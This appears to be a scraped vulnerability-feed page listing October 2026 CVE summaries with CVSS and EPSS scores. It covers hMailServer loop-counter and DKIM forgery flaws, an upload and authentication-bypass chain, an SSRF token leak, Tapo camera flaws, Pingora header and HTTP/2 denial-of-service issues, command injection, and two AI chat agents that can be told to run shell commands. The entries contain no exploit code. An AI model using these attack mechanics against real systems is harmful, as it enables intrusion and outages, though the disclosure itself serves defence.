EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107569&date=2026-10-25).
Sources:
NVD CVE-2026-107569: https://nvd.nist.gov/vuln/detail/CVE-2026-107569
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107569&date=2026-10-25
Unchecked input for a loop condition in Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote unauthenticated attacker to stop the server carrying mail. The server bounds the mail it generates in response to a message - a rule forward, reply or copy, an account forward, a Sieve redirect, vacation or notify, a bounce, an out-of-office reply - by a counter it carries in the message's X-hMailServer-LoopCount header, and makes no more once the counter reaches the configured rule loop limit (5 by default); that is what ends a forwarding or auto-reply cycle in a bounded number of hops. X-hMailServer-LoopCount is an ordinary header that is not stripped from mail arriving from outside, and the server read it with a signed conversion and no validation, so a count below zero passed every test against the limit: a sender who sets X-hMailServer-LoopCount to a negative value, or on the Linux builds to a value above the 32-bit signed range that the conversion wraps to a negative one, lifts the bound, and a message that enters a generated-mail cycle then loops up to about two thousand million times, each hop a queued message and a delivery, filling the queue and disk and stopping mail service. The Sieve notify action (from 6.2.22) consulted no limit at all, and its increment of the count could overflow a signed integer; and an account could reset the counter on its own mail through a Sieve editheader of the header (from 6.2.22) or a rule Set header value action (all versions) ahead of a forward or redirect.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use of a less trusted source in the DKIM signing of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote unauthenticated attacker to have mail they write signed with...
https://kevwire.com/record/CVE-2026-107567
Use of a less trusted source in the DKIM signing of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote unauthenticated attacker to have mail they write signed with... (Oct 19, 2026).
Use of a less trusted source in the DKIM signing of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote unauthenticated attacker to have mail they write signed with the DKIM key of a domain the server hosts, so that it passes DKIM and DMARC for that domain at other receivers. With DKIM signing enabled for a hosted domain, the server signed every message on its first delivery pass as the domain named in its From header, before local delivery, whatever the message's origin and without checking that its sender had authenticated. A sender anywhere could therefore send the server, as ordinary inbound mail, a message whose From is any address at such a domain, and the server signed it with that domain's key. Every copy the server then sent on to an address outside carried a valid signature aligned with the forged From, whatever the domain's DMARC policy: an account's forward, a mail rule's forward or copy, a Sieve redirect, an alias or distribution list with an outside member, the mirror copy, a managed-list or journal copy, or a message released from quarantine. A signed copy can also be re-sent to other recipients while the domain's key is unchanged. Exploitation needs DKIM signing to be enabled for the hosted domain (it is off until configured) and, for the forgery to leave the server, a forward, alias, list or rule that carries the domain's mail to an outside address. The signer likewise signed a message submitted over authenticated SMTP as whatever hosted domain its From header named, a header authenticated SMTP does not hold to the submitting account, so that an account of one hosted domain could have mail written in the name of another hosted domain signed with that domain's key; this mattered where the server holds signed-in senders to their own envelope addresses (SmtpAuthenticatedSenderCheck, off by default), as the signature was then the remaining way for such mail to pass the other domain's DMARC policy.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107567).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107567&date=2026-10-25).
Sources:
NVD CVE-2026-107567: https://nvd.nist.gov/vuln/detail/CVE-2026-107567
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107567&date=2026-10-25
Use of a less trusted source in the DKIM signing of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote unauthenticated attacker to have mail they write signed with the DKIM key of a domain the server hosts, so that it passes DKIM and DMARC for that domain at other receivers. With DKIM signing enabled for a hosted domain, the server signed every message on its first delivery pass as the domain named in its From header, before local delivery, whatever the message's origin and without checking that its sender had authenticated. A sender anywhere could therefore send the server, as ordinary inbound mail, a message whose From is any address at such a domain, and the server signed it with that domain's key. Every copy the server then sent on to an address outside carried a valid signature aligned with the forged From, whatever the domain's DMARC policy: an account's forward, a mail rule's forward or copy, a Sieve redirect, an alias or distribution list with an outside member, the mirror copy, a managed-list or journal copy, or a message released from quarantine. A signed copy can also be re-sent to other recipients while the domain's key is unchanged. Exploitation needs DKIM signing to be enabled for the hosted domain (it is off until configured) and, for the forgery to leave the server, a forward, alias, list or rule that carries the domain's mail to an outside address. The signer likewise signed a message submitted over authenticated SMTP as whatever hosted domain its From header named, a header authenticated SMTP does not hold to the submitting account, so that an account of one hosted domain could have mail written in the name of another hosted domain signed with that domain's key; this mattered where the server holds signed-in senders to their own envelope addresses (SmtpAuthenticatedSenderCheck, off by default), as the signature was then the remaining way for such mail to pass the other domain's DMARC policy.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A user can upload export reports with any file contents and specify any contents.
https://kevwire.com/record/CVE-2026-107188
A user can upload export reports with any file contents and specify any contents. (Oct 19, 2026).
A user can upload export reports with any file contents and specify any contents. JSP code can be uploaded, JSPX can be specified as the file extension, and anyone can browse to the uploaded file, leading to command execution. The authentication bypass vulnerability can be chained with this vulnerability to run code on the server without authentication.
CVSS 9.6 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107188).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107188&date=2026-10-25).
Sources:
NVD CVE-2026-107188: https://nvd.nist.gov/vuln/detail/CVE-2026-107188
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107188&date=2026-10-25
A user can upload export reports with any file contents and specify any contents. JSP code can be uploaded, JSPX can be specified as the file extension, and anyone can browse to the uploaded file, leading to command execution. The authentication bypass vulnerability can be chained with this vulnerability to run code on the server without authentication.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A user can access any database details, such as usernames and passwords by sending a DWR request with a specified workflow rule.
https://kevwire.com/record/CVE-2026-107187
A user can access any database details, such as usernames and passwords by sending a DWR request with a specified workflow rule. (Oct 19, 2026).
A user can access any database details, such as usernames and passwords by sending a DWR request with a specified workflow rule. The authentication bypass vulnerability can be chained with this vulnerability to perform database reads without authentication. Database write and delete operations may also be possible, but this was untested.
CVSS 8.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107187).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107187&date=2026-10-25).
Sources:
NVD CVE-2026-107187: https://nvd.nist.gov/vuln/detail/CVE-2026-107187
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107187&date=2026-10-25
A user can access any database details, such as usernames and passwords by sending a DWR request with a specified workflow rule. The authentication bypass vulnerability can be chained with this vulnerability to perform database reads without authentication. Database write and delete operations may also be possible, but this was untested.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An unauthenticated user can send a DWR request with isPasswordUppercase as one call method and the next call method can be set to a run workflow rule.
https://kevwire.com/record/CVE-2026-107186
An unauthenticated user can send a DWR request with isPasswordUppercase as one call method and the next call method can be set to a run workflow rule. (Oct 19, 2026).
An unauthenticated user can send a DWR request with isPasswordUppercase as one call method and the next call method can be set to a run workflow rule. This allows for workflow rules to be run without authentication.
CVSS 8.6 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-107186).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-107186&date=2026-10-25).
Sources:
NVD CVE-2026-107186: https://nvd.nist.gov/vuln/detail/CVE-2026-107186
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-107186&date=2026-10-25
An unauthenticated user can send a DWR request with isPasswordUppercase as one call method and the next call method can be set to a run workflow rule. This allows for workflow rules to be run without authentication.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Azure Key Vault KMS provider in Kroxylicious accepts an untrusted vaultName from wire-deserialized EDEK bytes without format validation, enabling SSRF that exfiltrates the...
https://kevwire.com/record/CVE-2026-105941
The Azure Key Vault KMS provider in Kroxylicious accepts an untrusted vaultName from wire-deserialized EDEK bytes without format validation, enabling SSRF that exfiltrates the... (Oct 20, 2026).
The Azure Key Vault KMS provider in Kroxylicious accepts an untrusted vaultName from wire-deserialized EDEK bytes without format validation, enabling SSRF that exfiltrates the proxy's Azure bearer token to an attacker-controlled host. Token replay against the real Key Vault defeats the entire record-encryption trust model.
CVSS 8.1 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105941).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105941&date=2026-10-25).
Sources:
NVD CVE-2026-105941: https://nvd.nist.gov/vuln/detail/CVE-2026-105941
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105941&date=2026-10-25
The Azure Key Vault KMS provider in Kroxylicious accepts an untrusted vaultName from wire-deserialized EDEK bytes without format validation, enabling SSRF that exfiltrates the proxy's Azure bearer token to an attacker-controlled host. Token replay against the real Key Vault defeats the entire record-encryption trust model.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### TP-Link Tapo
C210 V3.60 may expose shared credential material and cryptographic metadata
through unauthenticated DS JSON API requests. The exposed shared credential can
be...
https://kevwire.com/record/CVE-2026-105815
TP-Link Tapo
C210 V3.60 may expose shared credential material and cryptographic metadata
through unauthenticated DS JSON API requests. The exposed shared credential can
be... (Oct 19, 2026).
TP-Link Tapo
C210 V3.60 may expose shared credential material and cryptographic metadata
through unauthenticated DS JSON API requests. The exposed shared credential can
be accepted by the Streamd Digest authentication mechanism as an administrative
password, allowing an unauthenticated adjacent-network attacker to establish
encrypted media sessions without knowledge of the device account
password.  









Successful
exploitation may disclose credential and cryptographic material and allow
unauthorized access to encrypted media sessions.
CVSS 7.1 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105815).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105815&date=2026-10-25).
Sources:
NVD CVE-2026-105815: https://nvd.nist.gov/vuln/detail/CVE-2026-105815
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105815&date=2026-10-25
TP-Link Tapo
C210 V3.60 may expose shared credential material and cryptographic metadata
through unauthenticated DS JSON API requests. The exposed shared credential can
be accepted by the Streamd Digest authentication mechanism as an administrative
password, allowing an unauthenticated adjacent-network attacker to establish
encrypted media sessions without knowledge of the device account
password.  









Successful
exploitation may disclose credential and cryptographic material and allow
unauthorized access to encrypted media sessions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Tapo C320WS
V2.0 contains an authenticated stack-based buffer overflow in the local
onboarding Wi-Fi configuration path. An authenticated attacker on the
adjacent network can...
https://kevwire.com/record/CVE-2026-105810
Tapo C320WS
V2.0 contains an authenticated stack-based buffer overflow in the local
onboarding Wi-Fi configuration path. An authenticated attacker on the
adjacent network can... (Oct 19, 2026).
Tapo C320WS
V2.0 contains an authenticated stack-based buffer overflow in the local
onboarding Wi-Fi configuration path. An authenticated attacker on the
adjacent network can submit a crafted request containing an oversized encrypted
password field, overwrite stack state, and execute commands with root
privileges.





Successful
exploitation may allow an authenticated adjacent-network attacker to take
control of the affected camera, modify camera behavior, access sensitive local
configuration, and disrupt device availability.
CVSS 8.5 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105810).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105810&date=2026-10-25).
Sources:
NVD CVE-2026-105810: https://nvd.nist.gov/vuln/detail/CVE-2026-105810
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105810&date=2026-10-25
Tapo C320WS
V2.0 contains an authenticated stack-based buffer overflow in the local
onboarding Wi-Fi configuration path. An authenticated attacker on the
adjacent network can submit a crafted request containing an oversized encrypted
password field, overwrite stack state, and execute commands with root
privileges.





Successful
exploitation may allow an authenticated adjacent-network attacker to take
control of the affected camera, modify camera behavior, access sensitive local
configuration, and disrupt device availability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Summary



Before version 0.9.0, the HTTP/1 upstream path in pingora-proxy passed the downstream request through upstream_request_filter and wrote it to the upstream without...
https://kevwire.com/record/CVE-2026-105299
Summary



Before version 0.9.0, the HTTP/1 upstream path in pingora-proxy passed the downstream request through upstream_request_filter and wrote it to the upstream without... (Oct 20, 2026).
Summary



Before version 0.9.0, the HTTP/1 upstream path in pingora-proxy passed the downstream request through upstream_request_filter and wrote it to the upstream without removing the client's Connection header, other hop-by-hop headers, or the headers Connection nominated, although RFC 9110 Section 7.6.1 requires intermediaries to remove them. The HTTP/2 upstream path already removed Connection and related HTTP/1-specific headers. A client could therefore nominate a header that the application adds in upstream_request_filter (for example, Connection: keep-alive, X-Forwarded-For). A downstream HTTP/1 intermediary that honors Connection would then strip the Pingora-added header before it reached the origin.




Impact



Specifically affects chained deployments where an HTTP/1 intermediary between Pingora and the origin processes Connection nominations (for example, Go's net/http/httputil.ReverseProxy) and the origin trusts headers added by that intermediary (for example, X-Forwarded-For for IP-based authorization). A remote, unauthenticated attacker can have those headers removed, potentially bypassing authorization. The reporter demonstrated access to an IP-restricted endpoint using X-Forwarded-For for IP validation on the origin. This is the same class of issue as CVE-2022-31813 in Apache HTTP Server.




Note that Cloudflare CDN customers were unaffected, as no such chained deployment as described above exists with internal Pingora services, and Connection headers are sanitized before arriving at Pingora gateways.



Mitigation:

  *  

Upgrade to pingora 0.9.0 or later. By default, Pingora now removes hop-by-hop and Connection-nominated headers from upstream requests, and rejects requests whose Connection header nominates Host, X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Proto, or a pseudo-header. This is controlled by PeerOptions::http_upstream_request_policy (HttpUpstreamRequestPolicy). Fix commits:  https://github.com/cloudflare/pingora/commit/28c18e6b6b04dd0bd937234e5950049e6d74cded ,  https://github.com/cloudflare/pingora/commit/ca23f1668eca8e78be7ba62ef0edbd458b40eeee 


  *  

Do not use HttpUpstreamRequestPolicy::preserve() if the origin relies
CVSS 8.7 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105299).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105299&date=2026-10-25).
Sources:
NVD CVE-2026-105299: https://nvd.nist.gov/vuln/detail/CVE-2026-105299
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105299&date=2026-10-25
Summary



Before version 0.9.0, the HTTP/1 upstream path in pingora-proxy passed the downstream request through upstream_request_filter and wrote it to the upstream without removing the client's Connection header, other hop-by-hop headers, or the headers Connection nominated, although RFC 9110 Section 7.6.1 requires intermediaries to remove them. The HTTP/2 upstream path already removed Connection and related HTTP/1-specific headers. A client could therefore nominate a header that the application adds in upstream_request_filter (for example, Connection: keep-alive, X-Forwarded-For). A downstream HTTP/1 intermediary that honors Connection would then strip the Pingora-added header before it reached the origin.




Impact



Specifically affects chained deployments where an HTTP/1 intermediary between Pingora and the origin processes Connection nominations (for example, Go's net/http/httputil.ReverseProxy) and the origin trusts headers added by that intermediary (for example, X-Forwarded-For for IP-based authorization). A remote, unauthenticated attacker can have those headers removed, potentially bypassing authorization. The reporter demonstrated access to an IP-restricted endpoint using X-Forwarded-For for IP validation on the origin. This is the same class of issue as CVE-2022-31813 in Apache HTTP Server.




Note that Cloudflare CDN customers were unaffected, as no such chained deployment as described above exists with internal Pingora services, and Connection headers are sanitized before arriving at Pingora gateways.



Mitigation:

  *  

Upgrade to pingora 0.9.0 or later. By default, Pingora now removes hop-by-hop and Connection-nominated headers from upstream requests, and rejects requests whose Connection header nominates Host, X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Proto, or a pseudo-header. This is controlled by PeerOptions::http_upstream_request_policy (HttpUpstreamRequestPolicy). Fix commits:  https://github.com/cloudflare/pingora/commit/28c18e6b6b04dd0bd937234e5950049e6d74cded ,  https://github.com/cloudflare/pingora/commit/ca23f1668eca8e78be7ba62ef0edbd458b40eeee 


  *  

Do not use HttpUpstreamRequestPolicy::preserve() if the origin relies on headers added by Pingora; it restores the old passthrough behavior.


  *  

If you cannot upgrade: in upstream_request_filter, remove the Connection header and every header it nominates before adding trusted headers.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Summary



Before version 0.8.1, Pingora's HTTP/2 server used the h2 crate's default limits unless the application set its own 16 MiB decoded header-list size and no limit on...
https://kevwire.com/record/CVE-2026-105297
Summary



Before version 0.8.1, Pingora's HTTP/2 server used the h2 crate's default limits unless the application set its own 16 MiB decoded header-list size and no limit on... (Oct 20, 2026).
Summary



Before version 0.8.1, Pingora's HTTP/2 server used the h2 crate's default limits unless the application set its own 16 MiB decoded header-list size and no limit on concurrent streams. A remote, unauthenticated client can send 1-byte HPACK references to a near-empty header, making the server allocate hundreds of thousands of header fields per stream across an unlimited number of streams on one connection, and use HTTP/2 flow control to keep those streams open. This can exhaust memory and degrade or terminate the Pingora process.




Impact



Remote, unauthenticated denial of service against any Pingora service that terminates HTTP/2 (h2 or h2c) without explicitly setting max_header_list_size and max_concurrent_streams. The reporter showed that a single connection could get a Pingora process with a 2 GiB memory limit OOM-killed.




Note that Cloudflare CDN customers were unaffected, as internal Pingora services at Cloudflare do not have HTTP/2 clients.



Mitigation:

  *  

Upgrade to pingora 0.8.1 or later (fix:  https://github.com/cloudflare/pingora/commit/d193c8d49b8b7c1c1ede93183759caa4f6906bbd ). When no H2Options are supplied, Pingora now advertises and enforces a 64 KiB decoded header-list limit and at most 100 concurrent streams per connection.


  *  

Applications that supply their own H2Options are not covered by these defaults and must set max_header_list_size and max_concurrent_streams explicitly (this also works on versions before 0.8.1), or, on 0.8.1 and later, start from pingora_core::protocols::http::v2::server::default_h2_options(). H2Options::default() does not include these limits.
CVSS 7.5 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105297).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105297&date=2026-10-25).
Sources:
NVD CVE-2026-105297: https://nvd.nist.gov/vuln/detail/CVE-2026-105297
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105297&date=2026-10-25
Summary



Before version 0.8.1, Pingora's HTTP/2 server used the h2 crate's default limits unless the application set its own 16 MiB decoded header-list size and no limit on concurrent streams. A remote, unauthenticated client can send 1-byte HPACK references to a near-empty header, making the server allocate hundreds of thousands of header fields per stream across an unlimited number of streams on one connection, and use HTTP/2 flow control to keep those streams open. This can exhaust memory and degrade or terminate the Pingora process.




Impact



Remote, unauthenticated denial of service against any Pingora service that terminates HTTP/2 (h2 or h2c) without explicitly setting max_header_list_size and max_concurrent_streams. The reporter showed that a single connection could get a Pingora process with a 2 GiB memory limit OOM-killed.




Note that Cloudflare CDN customers were unaffected, as internal Pingora services at Cloudflare do not have HTTP/2 clients.



Mitigation:

  *  

Upgrade to pingora 0.8.1 or later (fix:  https://github.com/cloudflare/pingora/commit/d193c8d49b8b7c1c1ede93183759caa4f6906bbd ). When no H2Options are supplied, Pingora now advertises and enforces a 64 KiB decoded header-list limit and at most 100 concurrent streams per connection.


  *  

Applications that supply their own H2Options are not covered by these defaults and must set max_header_list_size and max_concurrent_streams explicitly (this also works on versions before 0.8.1), or, on 0.8.1 and later, start from pingora_core::protocols::http::v2::server::default_h2_options(). H2Options::default() does not include these limits.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PingTools Network Utilities 4.64 contains an OS command injection vulnerability in the Host field of a Watcher ICMP service.
https://kevwire.com/record/CVE-2026-103038
PingTools Network Utilities 4.64 contains an OS command injection vulnerability in the Host field of a Watcher ICMP service. (Oct 19, 2026).
PingTools Network Utilities 4.64 contains an OS command injection vulnerability in the Host field of a Watcher ICMP service. The application appends the attacker-controlled Host value to a ping command, serializes the command as a single string, and executes it through sh -c. A local attacker who can create or modify a Watcher service can inject shell syntax and execute arbitrary commands with the PingTools application UID and its granted Android permissions.
CVSS 8.6 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103038).
EPSS 3.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103038&date=2026-10-25).
Sources:
NVD CVE-2026-103038: https://nvd.nist.gov/vuln/detail/CVE-2026-103038
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103038&date=2026-10-25
PingTools Network Utilities 4.64 contains an OS command injection vulnerability in the Host field of a Watcher ICMP service. The application appends the attacker-controlled Host value to a ping command, serializes the command as a single string, and executes it through sh -c. A local attacker who can create or modify a Watcher service can inject shell syntax and execute arbitrary commands with the PingTools application UID and its granted Android permissions.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The SCIM endpoint does not sufficiently validate authorization for federated users when performing operations against the local user store.
https://kevwire.com/record/CVE-2025-10149
The SCIM endpoint does not sufficiently validate authorization for federated users when performing operations against the local user store. (Oct 19, 2026).
The SCIM endpoint does not sufficiently validate authorization for federated users when performing operations against the local user store. This occurs when a local and a federated user share the same username, allowing a federated user to perform actions intended for a local user, including arbitrary operations.

A malicious actor authenticated as a federated user may perform arbitrary operations on local user accounts via the SCIM 2.0 or SCIM 1.1 endpoints when local and federated users share the same username. This could lead to user account takeover. Deployments that do not support user self-registration are considered medium severity.
CVSS 8.2 (version 3.1; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2025-10149).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-10149&date=2026-10-25).
Sources:
NVD CVE-2025-10149: https://nvd.nist.gov/vuln/detail/CVE-2025-10149
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-10149&date=2026-10-25
The SCIM endpoint does not sufficiently validate authorization for federated users when performing operations against the local user store. This occurs when a local and a federated user share the same username, allowing a federated user to perform actions intended for a local user, including arbitrary operations.

A malicious actor authenticated as a federated user may perform arbitrary operations on local user accounts via the SCIM 2.0 or SCIM 1.1 endpoints when local and federated users share the same username. This could lead to user account takeover. Deployments that do not support user self-registration are considered medium severity.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### piflow 2.0.0 through 2.0.1 contains a remote code execution vulnerability in its DeepAgents chat agent, whose POST /chat and POST /chat/stream endpoints lack authentication.
https://kevwire.com/record/CVE-2026-109442
piflow 2.0.0 through 2.0.1 contains a remote code execution vulnerability in its DeepAgents chat agent, whose POST /chat and POST /chat/stream endpoints lack authentication. (Oct 20, 2026).
piflow 2.0.0 through 2.0.1 contains a remote code execution vulnerability in its DeepAgents chat agent, whose POST /chat and POST /chat/stream endpoints lack authentication. Attackers can instruct the agent to call the exec_shell tool, which runs arbitrary commands via subprocess.run without human approval or an allow-list, exposing environment secrets such as LLM API keys and database credentials.
CVSS 9.3 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109442).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109442&date=2026-10-25).
Sources:
NVD CVE-2026-109442: https://nvd.nist.gov/vuln/detail/CVE-2026-109442
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109442&date=2026-10-25
piflow 2.0.0 through 2.0.1 contains a remote code execution vulnerability in its DeepAgents chat agent, whose POST /chat and POST /chat/stream endpoints lack authentication. Attackers can instruct the agent to call the exec_shell tool, which runs arbitrary commands via subprocess.run without human approval or an allow-list, exposing environment secrets such as LLM API keys and database credentials.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JoySafeter through 1.0.0 contains a remote code execution vulnerability that allows authenticated users to run operating system commands via an unsandboxed execute tool in Copilot...
https://kevwire.com/record/CVE-2026-109443
JoySafeter through 1.0.0 contains a remote code execution vulnerability that allows authenticated users to run operating system commands via an unsandboxed execute tool in Copilot... (Oct 20, 2026).
JoySafeter through 1.0.0 contains a remote code execution vulnerability that allows authenticated users to run operating system commands via an unsandboxed execute tool in Copilot standard mode. Attackers can self-register, select standard mode in the WebSocket chat.start extension, and have the agent invoke subprocess.run with shell=True on the host to access other tenants' data and server secrets.
CVSS 8.7 (version 4.0; evidence as of Oct 20, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109443).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109443&date=2026-10-25).
Sources:
NVD CVE-2026-109443: https://nvd.nist.gov/vuln/detail/CVE-2026-109443
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109443&date=2026-10-25
JoySafeter through 1.0.0 contains a remote code execution vulnerability that allows authenticated users to run operating system commands via an unsandboxed execute tool in Copilot standard mode. Attackers can self-register, select standard mode in the WebSocket chat.start extension, and have the agent invoke subprocess.run with shell=True on the host to access other tenants' data and server secrets.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
